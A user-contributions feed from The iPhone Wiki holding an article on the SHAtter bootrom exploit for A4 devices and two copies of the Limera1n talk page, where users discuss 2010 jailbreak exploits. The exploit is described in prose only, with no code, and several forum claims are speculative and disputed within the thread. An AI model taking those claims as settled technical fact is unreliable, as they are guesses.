The iPhone Wiki - User contributions [en]

SHA-1 Image Segment Overflow

2012-02-19T11:14:49Z

Pod2g:

'''SHA-1 Image Segment Overflow''' or '''SHAtter''' was an exploit that allowed unsigned code execution from a flaw in the bootrom. It was never used in a public jailbreak due to the exploit used in [[limera1n]] being released first. SHAtter was patched in the [[S5L8940|A5]] devices and therefore, never released.

== Compatibility ==
SHAtter only works with [[S5L8930|A4]] devices:
* [[k48ap|iPad 1G]]
* [[iPhone 4]] (both models)
* [[n81ap|iPod touch 4G]]
* [[k66ap|Apple TV 2G]]

== Credit ==
* '''vulnerability''': [[User:posixninja|posixninja]] (7 May 2010), also discovered independently by [[User:geohot|geohot]]
* '''research''': [[User:posixninja|posixninja]], [[User:pod2g|pod2g]], also [[User:MuscleNerd|MuscleNerd]]
* '''exploit''': [[User:Pod2g|pod2g]]

==Background Info==
In April 2010 [[User:pod2g|pod2g]] wrote a USB [[wikipedia:Fuzz testing|fuzzer]] and tested every single [[USB control messages|USB control message]] possible on his [[N72ap|iPod touch 2G]].
The [[wikipedia:Fuzz testing|fuzzer]] found 2 vulnerabilities:
* a heap overflow caused by [[usb_control_msg(0xA1, 1) Exploit‎|usb_control_msg(0xA1, 1)]]
* a way to dump the bootrom using USB descriptors request

The team tested these two vulnerabilities on newer devices ([[N88ap|iPhone 3GS]], [[N18ap|iPod touch 3G]], [[K48ap|iPad]]) and both were already fixed by Apple.

[[User:posixninja|posixninja]] continued the [[wikipedia:Fuzz testing|fuzzing]] on these devices and found that with a particular sequence of [[USB control messages|USB messages]] it was possible to dump the [[wikipedia:.bss|BSS]]+Heap+Stack (on new gens only).
Having a memory dump is really helpful to make exploits and it was also the first time we had this kind of dump. (Previous bootrom exploits like the [[0x24000 Segment Overflow]] were done blind!)

Also, his first attempts to dump the memory resulted in rebooting the device. Interesting! We'll see after that this reboot is the base of the [[SHA-1 Image Segment Overflow|SHAtter]] exploit.

Research began to figure out why the device would reboot. [[User:posixninja|posixninja]] found the reason and proposed different ideas to exploit this. He also reversed tons of assembly code of the bootrom in this period, giving a support discussion to the team. We're not talking about days, but months of work. So, major props to [[User:posixninja|posixninja]]: [[SHA-1 Image Segment Overflow|SHAtter]] would not have been possible without the clever vulnerability he found and the research he did on the bootrom.

In the meanwhile, [[User:pod2g|pod2g]] helped on the USB reversing side and found a way to have more control over the size of the USB packets sent. The finer-grained control of the packet sizes is the key of [[SHA-1 Image Segment Overflow|SHAtter]].

[[User:posixninja|posixninja]] and [[User:pod2g|pod2g]] worked on exploiting the vulnerability for days. Every attempt was a failure because the idea to attack the stack and bypass the [[IMG File Format|IMG3]] control routines was just impossible. It took them weeks to understand why they failed and why they couldn't exploit it this way.

They both gave up in July and focused on other subjects.

== Vulnerability ==
Explanation by [[p0sixninja]] at [[MyGreatFest]]:

It tricked the bootrom to think the size of the image uploading was larger then what it actually was. Then when it would try to load the image, it would see that it was wrong. Then it would try to wipe out the entire image with all zeros and go past it and start wiping out bootrom.

Exploitation was done by overwriting SHA-1 registers to zeros so then when it went to check images it would copy part of image into memory address zero (where the bootrom is). It would take the image uploaded and copy it over top of the bootrom (which turns out to be writable over the data portion).

[[Category:Bootrom Exploits]]

Talk:Limera1n

2010-11-19T10:24:12Z

Pod2g: /* Why no ipt2g support? */

{{DISPLAYTITLE:Talk:limera1n}}
== Drop size on image ==
Has anyone else noticed that on the picture, the lime raindrop us bigger than the rest of them? Could be nothing but could also mean that [[User:Geohot|geohot]] has worked out SHAtter and use it on the three A4 devices that are there and just used the photos app for the [[N88ap|3GS]].
Also (if it's real) why is [[User:geohot|geohot's]] exploit not used and keep SHAtter for when there are more A4 devices around? --[[User:Shengis14|Shengis14]] 07:16, 9 October 2010 (UTC)
:I did see that and assume it's just the same image everywhere, but on retina display it's just smaller due to higher resolution. --[[User:Http|http]] 09:00, 9 October 2010 (UTC)
::I also saw that and would ask you to look at the image again. iPod Touch 4g and iPhone 4, both retina, have smaller... This could be because [[geohot]] has a problem with the program as he didn't create a @2x.png image... I believe this is a true jailbreK. [[User:Balloonhead66|Balloonhead66]] 13:57, 9 October 2010 (UTC)
:::In the dump, I found the lime drop and it is a 320x480 image. Therfore, when you jailbreak a retina device with a 320x480 it shrinks the image because there is no lime@2x.png file...

== Misc. ==
I think some more info may be needed. What is some background on it? I thought Limera1n was a fake from the 3.x days? --[[User:OMEGA RAZER|OMEGA RAZER]] 22:09, 8 October 2010 (UTC
:It was never fake see [http://theiphonewiki.com/limera1n http://theiphonewiki.com/limera1n] (a cached copy). --[[User:GreySyntax|GreySyntax]] 22:45, 8 October 2010 (UTC)
::Thanks for the clarification. Not sure where I heard that. --[[User:OMEGA RAZER|OMEGA RAZER]] 23:09, 8 October 2010 (UTC)
Geohot made the web page when 3.1.3 come out but he said it used a bootrom exploit for untetherdness that he was saving for the iPhone 4 --[[User:Liamchat|liamchat]] 22:53, 8 October 2010 (UTC)
Anything else we should mention? :P --[[User:Dra1nerdrake|dra1nerdrake]] 23:14, 8 October 2010 (UTC)
:Why the insane secrecy of it? I'm not deep in the scene but this is the first I'm hearing more than the name lol. --[[User:OMEGA RAZER|OMEGA RAZER]] 23:18, 8 October 2010 (UTC)

== Release ==

I thought geohot had no plans to release it... [[User:Balloonhead66|Balloonhead66]] 23:22, 8 October 2010 (UTC)
:Correct. Read the controversy section of this page. It should answer as to why the sudden change in heart. ~Drake

== SIGN YOUR COMMENTS ON THE TALK PAGE ==
Please press the button on top of the exit box or type <nowiki>~~~~</nowiki> manually. This will give you the basic signature. It's also acceptable to just identify yourself. Just make sure we know who you are. ;P ~Drake

== Latest edit to [[Limera1n]] ==

How does it look like a tethered? -- Balloonhead66|23:34, October 8, 2010 (UTC)
:They're all plugged in with USB cables. --[[User:OMEGA RAZER|OMEGA RAZER]] 23:35, 8 October 2010 (UTC)
::They could just be charging and he is in the photos app -- Balloonhead66|23:41, October 8, 2010 (UTC)
:::I think it's because they need to be plugged in for the ramdisk to be uploaded (hence the logo). --[[User:Palz|Palz]] 21:15, 12 October 2010 (UTC)

== Who is John Galt? ==

Look at the HTML source of the page. Is this comment new? [[User:Angelo|Angelo]] 23:42, 8 October 2010 (UTC)
:Yep. I've looked at the source of this page before and after this update. The John Galt is probably meant to throw us off. Geohot does that. :P But, yes, it's new. ~Drake
::Where did you see that? [[User:Balloonhead66|Balloonhead66]] 23:50, 8 October 2010 (UTC)
:::Type in Firefox URL bar: view-source:http://limera1n.com/ [[User:Angelo|Angelo]] 23:47, 8 October 2010 (UTC)
::::Or google chrome for that matter :D . Anyway, I thought you meant the source of this page or the [[Limera1n]] page, not the website... *stupid* Thanks for explaining that! [[User:Balloonhead66|Balloonhead66]] 23:50, 8 October 2010 (UTC)
:::::[http://en.wikipedia.org/wiki/John_Galt Who is John Galt] Kind of funny actually when you read it and what's going on right now --[[User:alpineflip|alpineflip]]
:::::: yes I see why "learns that all of the stories have an element of truth to them." maybe it will ra1n again but not today --[[User:Liamchat|liamchat]] 00:35, 9 October 2010 (UTC)

== Explanation ==

So, I'm sure most, if not all, of you are confused. This Limera1n is nothing more than a plot by geohot to get the chronic dev team to incorporate the exploit used in limera1n into greenpois0n. This is not plausible because the exploit in limera1n is a bootrom level exploit, which can be used to make a jailbreak (albeit [[tethered]]) on its own. To make greenpois0n untethered, chronic dev has used a tweak by comex (in userland) to patch the kernel. The exploit in Limera1n can be used at a later date to make another untethered jailbreak, but it's better to leave the lower level exploits until later, after all, either way, it produces the same affect. To implement the limera1n exploit into greenpois0n, they'd have to rewrite the entire jailbreak, which would offset the release. This should clear up confusion. ~Drake

I reckon it was the iphone dev teams fault if they just had to release spirit after the iphone 4 was released there would be no drama because the ipod touch 4 would hav been jailbroken via star. --[[User:Robinhood|robinhood]]

I think Geohot told someone about his exploit and apple attempted to patch it in a4 bootrom [http://mobile.twitter.com/musclenerd/status/26801617164] --[[User:Liamchat|liamchat]] 01:54, 9 October 2010 (UTC)

===UPDATE:===
A [http://twitter.com/#!/p0sixninja/status/26799962302 recent tweet] from iPhone hacker p0sixninja has just confirmed that the date WILL NOT be changed. If they can implement geohot's exploit before 10/10, they will use that. If they can't they won't. --[[User:Dra1nerdrake|dra1nerdrake]] 00:53, 9 October 2010 (UTC)
: This has nothing to-do with Limera1n. -- [[User:Shorty|Shorty]] 01:06, 9 October 2010 (UTC)
::It does. If they can integrate it into GP then there's not going to be a Limera1n. If they can't in time then there will be two jailbreaks released... --[[User:OMEGA RAZER|OMEGA RAZER]] 01:11, 9 October 2010 (UTC)
::: This is a grand waste of a bootrom exploit though. ~Drake
:::: Geohot will not waste the exploit's used in limera1n but greenpois0n is using a bootrom exploit to inject a userland exploit that is odd --[[User:Liamchat|liamchat]] 01:20, 9 October 2010 (UTC)
:::::Yes it does limera1n will use an untetherd bootrom and iboot exploit but Why does Geohot not want us to use comex's kernel patch just for 4.1 then when 4.2 is out we can use shatter to reuse the iboot exploit --[[User:Liamchat|liamchat]] 01:20, 9 October 2010 (UTC)
::::::@[[User:Dra1nerdrake|dra1nerdrake]] - Sorry if I didn't make myself more clear, I was basically on about the first part, not the last bit. -- [[User:Shorty|Shorty]] 01:25, 9 October 2010 (UTC)
the exploit used by [[limera1n]] is a [[24kPwn]] like [[bootrom]] exploit and a [[IBoot]] exploit ( read the second to last paragraph [http://posixninja.blogspot.com/2010/06/latest-progress-and-new-updates.html] ) --[[User:Liamchat|liamchat]] 12:55, 9 October 2010 (UTC)

== Image Taken Down ==

I'm just speculating here. With all this controversy, I am on the edge of believing... Also, the image was taken down from the site... It gives you a bitly link that takes you back to the bitty link... --[[User:Balloonhead66|Balloonhead66]] 14:20, 9 October 2010 (UTC)

:It is now very real [[greenpois0n]] will be cancelled (said by [[MuscleNerd]] [http://twitter.com/MuscleNerd/status/26860163077 Twitter Status]) and [[Limera1n]] will be used to jailbreak on 4.1 but [[wikipedia:Apple Inc.|Apple]] knows about both exploit's but [[Geohot]]'s has already being patched (patched in 4.2 beta 2 iboot [http://twitter.com/MuscleNerd/status/26860634891]) --[[User:Liamchat|liamchat]] 19:21, 9 October 2010 (UTC)

::The exploit has not been patched though, but because of the code similarities geohot can tell his exploit will be patched anyway by iPad2,1 so he wants it to be used instead of wasted, greenpois0n and SHAtter should be kept as they will affect a larger crowd of iOS devices (assuming apple continue to use the A4 chip. --[[User:Shengis14|Shengis14]] 19:36, 9 October 2010 (UTC)

:::[[Geohot]]'s exploit will be used in [[greenpois0n]] if it can be utilised in time. Otherwise both exploits will be burned. In relation to the image being taken down, it was proving to be too popular, so imageshack moved it. --[[User:Mushroom|Mushroom]] 19:47, 9 October 2010 (UTC)

::::I dont think so we said a lot about [[SHAtter]] (if apple patch one of the three BSS+Heap+Stack the exploit wont work) so it may be to late to protect [[SHAtter]] but [[Geohot]]'s exploit was fixed in [[iBoot]] so [[wikipedia:Apple Inc.|Apple]] knows 100% what his exploit is --[[User:Liamchat|liamchat]] 20:06, 9 October 2010 (UTC)

== He did it==
It's in the wild. Thoughts? ~Drake
:It's just BETA2 though... --[[User:Balloonhead66|Balloonhead66]] 22:28, 9 October 2010 (UTC)
::Has anyone being able to grab information about the exploit we need to delete shatter and name the new dfu exploit --[[User:Liamchat|liamchat]] 23:22, 9 October 2010 (UTC)
:::BETA2 naming means nothing. We need to delete SHAtter? Wtf? And also this exploit will either be named by Geohot or by it's technical name (like Environment Variable Overflow). [[User:Iemit737|Iemit737]] 00:03, 10 October 2010 (UTC)
::::I'd like to disassemble this and see what's in that exe of his. Anyone take a gander into this magical land of software yet? The payload's bound to be in there somewhere. ~Drake
:::::A dump has been released by ih8sn0w, see links. So much for the protection he put on it. It uses the ramdisk from purplera1n ( lulz). You'll need IDA Pro... [[User:Pwnd-v1|Pwnd-v1]] 13:12, 10 October 2010 (UTC)
::::::Blackra1n uses purpled1sk too :/ All it is is an exploit like arm7_go in DFU that pwns iBoot (temporarily) and applies a userland jailbreak from a ramdisk. --[[User:Palz|Palz]] 22:16, 15 October 2010 (UTC)
the exploit ( it is a heap overflow ) is used to create a command called geohot ( in the [[NOR_%28NVRAM%29]] same as in [[Purplera1n]] ) maybe purpled1sk is the best for the job [[iBoot]] cannot be changed it will remove [[SHSH]] preventing the device from booting --[[User:Liamchat|liamchat]] 22:32, 15 October 2010 (UTC)
:do u hear urself talk? the bootrom exploit in limera1n is not a heap overflow. -__- the heap overflow is the userland exploit used to achieve an untethered status.[[User:Leobruh|Leobruh]] 20:20, 19 October 2010 (UTC)!
The kernel patch ocurs after the lime logo is shown ( when a ramdisk is mounted ) after the ramdisk is sent you can disconnect the device --[[User:Liamchat|liamchat]] 21:23, 19 October 2010 (UTC)

== Pwnage ==

Does limera1n flash the NOR? I never managed to install a custom firmware after using limera1n.--[[User talk:Ryccardo|Ryccardo]], 11 October 2010 (UTC)
:Sign your posts, please. And, limera1n leaves your NOR untouched. All it does is patch the kernel (which is on your NAND). Theoretically, one might be able to restore to a custom firmware by jumping to a pwned iBSS or iBEC through the limera1n exploit and using that to trick the device into accepting the firmware, but I'm probably mistaken. --[[User:Dra1nerdrake|dra1nerdrake]] 19:28, 11 October 2010 (UTC)
:It leaves the NOR un-touched otherwise the signature checks would fail during boot. Hence the kernel exploit from [[User:comex|comex]] is used to patch the kernel at runtime. --[[User:GreySyntax|GreySyntax]] 19:49, 11 October 2010 (UTC)
::Thanks, [[http://twitter.com/iH8sn0w/statuses/27065535774 iH8Sn0w confirms.]] Sorry for the signature, I always forget to use that button. --[[User:Ryccardo|Ryccardo]] 20:43, 11 October 2010 (UTC)

== Support ==

I propose that appleTV should be removed from the supported list until further notice as while the exploit interacts with the bootrom, the ramdisk never executes to jailbreak the OS and leaves you in recovery mode (yet to establish if it is in a pwned state or not) --[[User:Lilstevie|Lilstevie]] 07:29, 12 October 2010 (UTC)

== Why no ipt2g support? ==

I have an ipt2g mc model. I currently have no 4.1 jailbreak, since sn0wbreeze is messed up and redsn0w hangs. Why doesn't this exploit work with the new bootrom touches? Have we been forgotten? --[[User:Palz|Palz]] 21:13, 12 October 2010 (UTC)

:It works for the ipt2g new bootrom, but geohot didn't take his time to remake anything so that it would work with our device. greenpois0n will support our devices, just takes a little while to write up everything needed. --[[User:JacobVengeance|JakeAnthraX]] 05:24, 13 October 2010 (UTC)

:IPT2G support is now in GreenPois0n --[[User:Fclinton|FClinton]] 23:39, 19 October 2010 (UTC)

:It's not a matter of time, the exploit itself is not compatible with ipt2g bootrom. GreenPois0n use another bootrom exploit to achieve the compatiblity with ipt2g. --[[User:Pod2g|Pod2g]]

== hacktivation.dylib ==

I added info about it and how to remove it for people who activate with iTunes. Hope no one minds. --[[User:Cmdshft|cmdshft]] 04:31, 13 October 2010 (UTC)
:I have my 3GS officially activated and had no problems at all with this dylib or anything else related to activation so far... I'm officially unlocked too... Should I still remove the dylib even if I had no problems?? --[[User:Luxiel|Luxiel]] 17:02, 19 October 2010 (UTC)
::Nevermind, i just followed that tutorial and end up fucking my 3GS, restoring it ATM... So, I will use greenpois0n once it is done... That tutorial just fucked my activation... thx for the one that posted it... --[[User:Luxiel|Luxiel]] 02:26, 21 October 2010 (UTC)
:::Just completing this history... I followed those commands with my officially activated 3GS and I had to clean restore and rejailbreak with limera1n... So I guess this "hacktivation may be harmfull" thing may be wrong... --[[User:Luxiel|Luxiel]] 19:56, 21 October 2010 (UTC)

== Pwn4life ==

Is this a pwned4life? If it is, can a restore remove it? --[[User:Balloonhead66|Balloonhead66]] 02:10, 15 October 2010 (UTC)
:A DFU Mode restore will return you to a fresh and all Apple state --[[User:OMEGA RAZER|OMEGA RAZER]] 04:20, 15 October 2010 (UTC)

:Pwned4life isn't like permanent jailbreak on the device, just means there is an exploit that will always be there to allow jailbreaks. A restore will get rid of it simple. --[[User:JacobVengeance|JakeAnthraX]] 19:37, 19 October 2010 (UTC)

== MOve to limera1n.app ==
I think this page should be moved to limera1n.app --[[User:Balloonhead66|Balloonhead66]] 18:39, 23 October 2010 (UTC)
:Why? Limera1n.app is the application installed by the ramdisk used in this jailbreak. Therefore, it's a very minute part of the jailbreak. Limera1n as a whole, consists of the initial exploit in the hardware, the exploit to achieve unsigned code exec., and etc. It's much more than a simple app for your phone. :P --[[User:Dra1nerdrake|dra1nerdrake]] 04:20, 19 November 2010 (UTC)
::Wrong, [[:/var/stash/Applications.*****/blackra1n.app]] is what is installed by the ramdisk. He uses blackra1n.app for blackra1n and limera1n. I know. I looked in my device, want proof, just use OpenSSH on a 4.1 device and you will see. Anyways, [[Cydia.app]], howabout blackra1n.app and limera1n.app? --[[User:Balloonhead66|Balloonhead66]] 04:24, 19 November 2010 (UTC)
:::Even better, the title limera1n.app means nothing. That's like saying we should move PwnageTool to pwnagetool.app or redsn0w to redsn0w.app. It's meaningless. :P --[[User:Dra1nerdrake|dra1nerdrake]] 04:28, 19 November 2010 (UTC)
::::Stop being anal about every little detail. blackra1n and limera1n are two different things. You can't just mix them together. limera1n is the jailbreak not the app. Please get your facts straight [[User:Balloonhead66|Balloonhead66]] Your behavior here is sometimes unappreciated. Please grow up. --[[User:Gamer765|Gamer765]] 06:05, 19 November 2010 (UTC)

Talk:Limera1n

2010-11-19T10:23:44Z

Pod2g: /* Why no ipt2g support? */

{{DISPLAYTITLE:Talk:limera1n}}
== Drop size on image ==
Has anyone else noticed that on the picture, the lime raindrop us bigger than the rest of them? Could be nothing but could also mean that [[User:Geohot|geohot]] has worked out SHAtter and use it on the three A4 devices that are there and just used the photos app for the [[N88ap|3GS]].
Also (if it's real) why is [[User:geohot|geohot's]] exploit not used and keep SHAtter for when there are more A4 devices around? --[[User:Shengis14|Shengis14]] 07:16, 9 October 2010 (UTC)
:I did see that and assume it's just the same image everywhere, but on retina display it's just smaller due to higher resolution. --[[User:Http|http]] 09:00, 9 October 2010 (UTC)
::I also saw that and would ask you to look at the image again. iPod Touch 4g and iPhone 4, both retina, have smaller... This could be because [[geohot]] has a problem with the program as he didn't create a @2x.png image... I believe this is a true jailbreK. [[User:Balloonhead66|Balloonhead66]] 13:57, 9 October 2010 (UTC)
:::In the dump, I found the lime drop and it is a 320x480 image. Therfore, when you jailbreak a retina device with a 320x480 it shrinks the image because there is no lime@2x.png file...

== Misc. ==
I think some more info may be needed. What is some background on it? I thought Limera1n was a fake from the 3.x days? --[[User:OMEGA RAZER|OMEGA RAZER]] 22:09, 8 October 2010 (UTC
:It was never fake see [http://theiphonewiki.com/limera1n http://theiphonewiki.com/limera1n] (a cached copy). --[[User:GreySyntax|GreySyntax]] 22:45, 8 October 2010 (UTC)
::Thanks for the clarification. Not sure where I heard that. --[[User:OMEGA RAZER|OMEGA RAZER]] 23:09, 8 October 2010 (UTC)
Geohot made the web page when 3.1.3 come out but he said it used a bootrom exploit for untetherdness that he was saving for the iPhone 4 --[[User:Liamchat|liamchat]] 22:53, 8 October 2010 (UTC)
Anything else we should mention? :P --[[User:Dra1nerdrake|dra1nerdrake]] 23:14, 8 October 2010 (UTC)
:Why the insane secrecy of it? I'm not deep in the scene but this is the first I'm hearing more than the name lol. --[[User:OMEGA RAZER|OMEGA RAZER]] 23:18, 8 October 2010 (UTC)

== Release ==

I thought geohot had no plans to release it... [[User:Balloonhead66|Balloonhead66]] 23:22, 8 October 2010 (UTC)
:Correct. Read the controversy section of this page. It should answer as to why the sudden change in heart. ~Drake

== SIGN YOUR COMMENTS ON THE TALK PAGE ==
Please press the button on top of the exit box or type <nowiki>~~~~</nowiki> manually. This will give you the basic signature. It's also acceptable to just identify yourself. Just make sure we know who you are. ;P ~Drake

== Latest edit to [[Limera1n]] ==

How does it look like a tethered? -- Balloonhead66|23:34, October 8, 2010 (UTC)
:They're all plugged in with USB cables. --[[User:OMEGA RAZER|OMEGA RAZER]] 23:35, 8 October 2010 (UTC)
::They could just be charging and he is in the photos app -- Balloonhead66|23:41, October 8, 2010 (UTC)
:::I think it's because they need to be plugged in for the ramdisk to be uploaded (hence the logo). --[[User:Palz|Palz]] 21:15, 12 October 2010 (UTC)

== Who is John Galt? ==

Look at the HTML source of the page. Is this comment new? [[User:Angelo|Angelo]] 23:42, 8 October 2010 (UTC)
:Yep. I've looked at the source of this page before and after this update. The John Galt is probably meant to throw us off. Geohot does that. :P But, yes, it's new. ~Drake
::Where did you see that? [[User:Balloonhead66|Balloonhead66]] 23:50, 8 October 2010 (UTC)
:::Type in Firefox URL bar: view-source:http://limera1n.com/ [[User:Angelo|Angelo]] 23:47, 8 October 2010 (UTC)
::::Or google chrome for that matter :D . Anyway, I thought you meant the source of this page or the [[Limera1n]] page, not the website... *stupid* Thanks for explaining that! [[User:Balloonhead66|Balloonhead66]] 23:50, 8 October 2010 (UTC)
:::::[http://en.wikipedia.org/wiki/John_Galt Who is John Galt] Kind of funny actually when you read it and what's going on right now --[[User:alpineflip|alpineflip]]
:::::: yes I see why "learns that all of the stories have an element of truth to them." maybe it will ra1n again but not today --[[User:Liamchat|liamchat]] 00:35, 9 October 2010 (UTC)

== Explanation ==

So, I'm sure most, if not all, of you are confused. This Limera1n is nothing more than a plot by geohot to get the chronic dev team to incorporate the exploit used in limera1n into greenpois0n. This is not plausible because the exploit in limera1n is a bootrom level exploit, which can be used to make a jailbreak (albeit [[tethered]]) on its own. To make greenpois0n untethered, chronic dev has used a tweak by comex (in userland) to patch the kernel. The exploit in Limera1n can be used at a later date to make another untethered jailbreak, but it's better to leave the lower level exploits until later, after all, either way, it produces the same affect. To implement the limera1n exploit into greenpois0n, they'd have to rewrite the entire jailbreak, which would offset the release. This should clear up confusion. ~Drake

I reckon it was the iphone dev teams fault if they just had to release spirit after the iphone 4 was released there would be no drama because the ipod touch 4 would hav been jailbroken via star. --[[User:Robinhood|robinhood]]

I think Geohot told someone about his exploit and apple attempted to patch it in a4 bootrom [http://mobile.twitter.com/musclenerd/status/26801617164] --[[User:Liamchat|liamchat]] 01:54, 9 October 2010 (UTC)

===UPDATE:===
A [http://twitter.com/#!/p0sixninja/status/26799962302 recent tweet] from iPhone hacker p0sixninja has just confirmed that the date WILL NOT be changed. If they can implement geohot's exploit before 10/10, they will use that. If they can't they won't. --[[User:Dra1nerdrake|dra1nerdrake]] 00:53, 9 October 2010 (UTC)
: This has nothing to-do with Limera1n. -- [[User:Shorty|Shorty]] 01:06, 9 October 2010 (UTC)
::It does. If they can integrate it into GP then there's not going to be a Limera1n. If they can't in time then there will be two jailbreaks released... --[[User:OMEGA RAZER|OMEGA RAZER]] 01:11, 9 October 2010 (UTC)
::: This is a grand waste of a bootrom exploit though. ~Drake
:::: Geohot will not waste the exploit's used in limera1n but greenpois0n is using a bootrom exploit to inject a userland exploit that is odd --[[User:Liamchat|liamchat]] 01:20, 9 October 2010 (UTC)
:::::Yes it does limera1n will use an untetherd bootrom and iboot exploit but Why does Geohot not want us to use comex's kernel patch just for 4.1 then when 4.2 is out we can use shatter to reuse the iboot exploit --[[User:Liamchat|liamchat]] 01:20, 9 October 2010 (UTC)
::::::@[[User:Dra1nerdrake|dra1nerdrake]] - Sorry if I didn't make myself more clear, I was basically on about the first part, not the last bit. -- [[User:Shorty|Shorty]] 01:25, 9 October 2010 (UTC)
the exploit used by [[limera1n]] is a [[24kPwn]] like [[bootrom]] exploit and a [[IBoot]] exploit ( read the second to last paragraph [http://posixninja.blogspot.com/2010/06/latest-progress-and-new-updates.html] ) --[[User:Liamchat|liamchat]] 12:55, 9 October 2010 (UTC)

== Image Taken Down ==

I'm just speculating here. With all this controversy, I am on the edge of believing... Also, the image was taken down from the site... It gives you a bitly link that takes you back to the bitty link... --[[User:Balloonhead66|Balloonhead66]] 14:20, 9 October 2010 (UTC)

:It is now very real [[greenpois0n]] will be cancelled (said by [[MuscleNerd]] [http://twitter.com/MuscleNerd/status/26860163077 Twitter Status]) and [[Limera1n]] will be used to jailbreak on 4.1 but [[wikipedia:Apple Inc.|Apple]] knows about both exploit's but [[Geohot]]'s has already being patched (patched in 4.2 beta 2 iboot [http://twitter.com/MuscleNerd/status/26860634891]) --[[User:Liamchat|liamchat]] 19:21, 9 October 2010 (UTC)

::The exploit has not been patched though, but because of the code similarities geohot can tell his exploit will be patched anyway by iPad2,1 so he wants it to be used instead of wasted, greenpois0n and SHAtter should be kept as they will affect a larger crowd of iOS devices (assuming apple continue to use the A4 chip. --[[User:Shengis14|Shengis14]] 19:36, 9 October 2010 (UTC)

:::[[Geohot]]'s exploit will be used in [[greenpois0n]] if it can be utilised in time. Otherwise both exploits will be burned. In relation to the image being taken down, it was proving to be too popular, so imageshack moved it. --[[User:Mushroom|Mushroom]] 19:47, 9 October 2010 (UTC)

::::I dont think so we said a lot about [[SHAtter]] (if apple patch one of the three BSS+Heap+Stack the exploit wont work) so it may be to late to protect [[SHAtter]] but [[Geohot]]'s exploit was fixed in [[iBoot]] so [[wikipedia:Apple Inc.|Apple]] knows 100% what his exploit is --[[User:Liamchat|liamchat]] 20:06, 9 October 2010 (UTC)

== He did it==
It's in the wild. Thoughts? ~Drake
:It's just BETA2 though... --[[User:Balloonhead66|Balloonhead66]] 22:28, 9 October 2010 (UTC)
::Has anyone being able to grab information about the exploit we need to delete shatter and name the new dfu exploit --[[User:Liamchat|liamchat]] 23:22, 9 October 2010 (UTC)
:::BETA2 naming means nothing. We need to delete SHAtter? Wtf? And also this exploit will either be named by Geohot or by it's technical name (like Environment Variable Overflow). [[User:Iemit737|Iemit737]] 00:03, 10 October 2010 (UTC)
::::I'd like to disassemble this and see what's in that exe of his. Anyone take a gander into this magical land of software yet? The payload's bound to be in there somewhere. ~Drake
:::::A dump has been released by ih8sn0w, see links. So much for the protection he put on it. It uses the ramdisk from purplera1n ( lulz). You'll need IDA Pro... [[User:Pwnd-v1|Pwnd-v1]] 13:12, 10 October 2010 (UTC)
::::::Blackra1n uses purpled1sk too :/ All it is is an exploit like arm7_go in DFU that pwns iBoot (temporarily) and applies a userland jailbreak from a ramdisk. --[[User:Palz|Palz]] 22:16, 15 October 2010 (UTC)
the exploit ( it is a heap overflow ) is used to create a command called geohot ( in the [[NOR_%28NVRAM%29]] same as in [[Purplera1n]] ) maybe purpled1sk is the best for the job [[iBoot]] cannot be changed it will remove [[SHSH]] preventing the device from booting --[[User:Liamchat|liamchat]] 22:32, 15 October 2010 (UTC)
:do u hear urself talk? the bootrom exploit in limera1n is not a heap overflow. -__- the heap overflow is the userland exploit used to achieve an untethered status.[[User:Leobruh|Leobruh]] 20:20, 19 October 2010 (UTC)!
The kernel patch ocurs after the lime logo is shown ( when a ramdisk is mounted ) after the ramdisk is sent you can disconnect the device --[[User:Liamchat|liamchat]] 21:23, 19 October 2010 (UTC)

== Pwnage ==

Does limera1n flash the NOR? I never managed to install a custom firmware after using limera1n.--[[User talk:Ryccardo|Ryccardo]], 11 October 2010 (UTC)
:Sign your posts, please. And, limera1n leaves your NOR untouched. All it does is patch the kernel (which is on your NAND). Theoretically, one might be able to restore to a custom firmware by jumping to a pwned iBSS or iBEC through the limera1n exploit and using that to trick the device into accepting the firmware, but I'm probably mistaken. --[[User:Dra1nerdrake|dra1nerdrake]] 19:28, 11 October 2010 (UTC)
:It leaves the NOR un-touched otherwise the signature checks would fail during boot. Hence the kernel exploit from [[User:comex|comex]] is used to patch the kernel at runtime. --[[User:GreySyntax|GreySyntax]] 19:49, 11 October 2010 (UTC)
::Thanks, [[http://twitter.com/iH8sn0w/statuses/27065535774 iH8Sn0w confirms.]] Sorry for the signature, I always forget to use that button. --[[User:Ryccardo|Ryccardo]] 20:43, 11 October 2010 (UTC)

== Support ==

I propose that appleTV should be removed from the supported list until further notice as while the exploit interacts with the bootrom, the ramdisk never executes to jailbreak the OS and leaves you in recovery mode (yet to establish if it is in a pwned state or not) --[[User:Lilstevie|Lilstevie]] 07:29, 12 October 2010 (UTC)

== Why no ipt2g support? ==

I have an ipt2g mc model. I currently have no 4.1 jailbreak, since sn0wbreeze is messed up and redsn0w hangs. Why doesn't this exploit work with the new bootrom touches? Have we been forgotten? --[[User:Palz|Palz]] 21:13, 12 October 2010 (UTC)

:It works for the ipt2g new bootrom, but geohot didn't take his time to remake anything so that it would work with our device. greenpois0n will support our devices, just takes a little while to write up everything needed. --[[User:JacobVengeance|JakeAnthraX]] 05:24, 13 October 2010 (UTC)

:IPT2G support is now in GreenPois0n --[[User:Fclinton|FClinton]] 23:39, 19 October 2010 (UTC)

It's not a matter of time, the exploit itself is not compatible with ipt2g bootrom. GreenPois0n use another bootrom exploit to achieve the compatiblity with ipt2g. --[[User:Pod2g|Pod2g]]

== hacktivation.dylib ==

I added info about it and how to remove it for people who activate with iTunes. Hope no one minds. --[[User:Cmdshft|cmdshft]] 04:31, 13 October 2010 (UTC)
:I have my 3GS officially activated and had no problems at all with this dylib or anything else related to activation so far... I'm officially unlocked too... Should I still remove the dylib even if I had no problems?? --[[User:Luxiel|Luxiel]] 17:02, 19 October 2010 (UTC)
::Nevermind, i just followed that tutorial and end up fucking my 3GS, restoring it ATM... So, I will use greenpois0n once it is done... That tutorial just fucked my activation... thx for the one that posted it... --[[User:Luxiel|Luxiel]] 02:26, 21 October 2010 (UTC)
:::Just completing this history... I followed those commands with my officially activated 3GS and I had to clean restore and rejailbreak with limera1n... So I guess this "hacktivation may be harmfull" thing may be wrong... --[[User:Luxiel|Luxiel]] 19:56, 21 October 2010 (UTC)

== Pwn4life ==

Is this a pwned4life? If it is, can a restore remove it? --[[User:Balloonhead66|Balloonhead66]] 02:10, 15 October 2010 (UTC)
:A DFU Mode restore will return you to a fresh and all Apple state --[[User:OMEGA RAZER|OMEGA RAZER]] 04:20, 15 October 2010 (UTC)

:Pwned4life isn't like permanent jailbreak on the device, just means there is an exploit that will always be there to allow jailbreaks. A restore will get rid of it simple. --[[User:JacobVengeance|JakeAnthraX]] 19:37, 19 October 2010 (UTC)

== MOve to limera1n.app ==
